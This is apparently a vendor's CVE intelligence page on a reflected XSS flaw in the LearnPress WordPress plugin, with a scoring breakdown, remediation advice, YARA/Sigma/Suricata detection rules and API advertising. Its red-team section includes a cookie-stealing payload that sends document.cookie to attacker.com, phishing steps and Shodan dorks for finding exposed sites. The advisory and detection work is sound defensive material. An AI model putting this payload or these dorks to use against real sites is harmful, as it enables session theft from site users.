☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4971

CVE-2024-4971 Cross-Site Scripting in Learnpress
📅 PUBLISHED: 2024-05-22 05:32 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.63%
👁️
0.63% probability
15.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4971 is a Reflected Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.2.6.6. The flaw resides in the id parameter, where insufficient input sanitization and output escaping allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to script execution in the victim's browser context. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin's update channel for a patched version. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is medium due to the requirement for user interaction, but the potential for phishing campaigns and credential theft elevates the risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability is a classic Reflected XSS in the LearnPress plugin. The id parameter is used in various shortcodes and AJAX endpoints without proper sanitization. When a user clicks a malicious link containing a crafted id value, the script is reflected back and executed in the browser. The attack flow:

  1. Attacker crafts a URL: https://target.com/?id=<script>alert('XSS')</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The server reflects the id parameter in the response without escaping.
  4. The browser executes the injected script.

This can be used to steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.6.6):

// In a shortcode or AJAX handler
$id = $_GET['id'];
echo "<div id='$id'>Content</div>";

Patched Code (Hypothetical):

$id = sanitize_text_field($_GET['id']);
echo "<div id='" . esc_attr($id) . "'>Content</div>";

The patch would involve using esc_attr() for output and sanitize_text_field() for input. Since no official patch is available, users must implement these changes manually or disable the plugin.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="http://target.com/?id=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>">Click me</a>

Exploit Usage:

  1. Host the PoC on an attacker-controlled server.
  2. Send the link to the victim via phishing email or social engineering.
  3. When the victim clicks, their session cookie is sent to the attacker.

Blue Team

Detection:

  • Monitor web logs for suspicious id parameter values containing <script>, onerror, or javascript:.
  • Use WAF rules to block reflected XSS patterns.

Lab Setup:

  1. Install WordPress with LearnPress 4.2.6.6.
  2. Create a page using a LearnPress shortcode that accepts id.
  3. Test with: http://localhost/?id=<script>alert(1)</script>

Indicators of Compromise (IOCs)

  • Network: HTTP requests with id parameter containing <script>, %3Cscript%3E, or onerror= in the query string.
  • Logs: Access logs showing GET /?id=<script>... patterns.
  • File: No file-based IOCs; this is a reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_4971_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against LearnPress id parameter"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-4971"
    strings:
        $xss1 = /[?&]id=.*<script>/i
        $xss2 = /[?&]id=.*%3Cscript%3E/i
        $xss3 = /[?&]id=.*onerror=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against LearnPress id Parameter
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-4971
author: Valters IT
date: 2024/10/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'id=<script'
            - 'id=%3Cscript%3E'
            - 'id=onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4971 Reflected XSS in LearnPress id parameter"; flow:to_server; content:"GET"; http_method; content:"id="; http_uri; pcre:"/(<script|%3Cscript%3E|onerror=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the LearnPress plugin until a patch is available.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
  3. Long-term: Apply input sanitization (sanitize_text_field()) and output escaping (esc_attr()) to all id parameter usages.
  4. Monitor: Watch for plugin updates from the vendor and apply immediately.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"LearnPress"
http.html:"learnpress"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4971/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.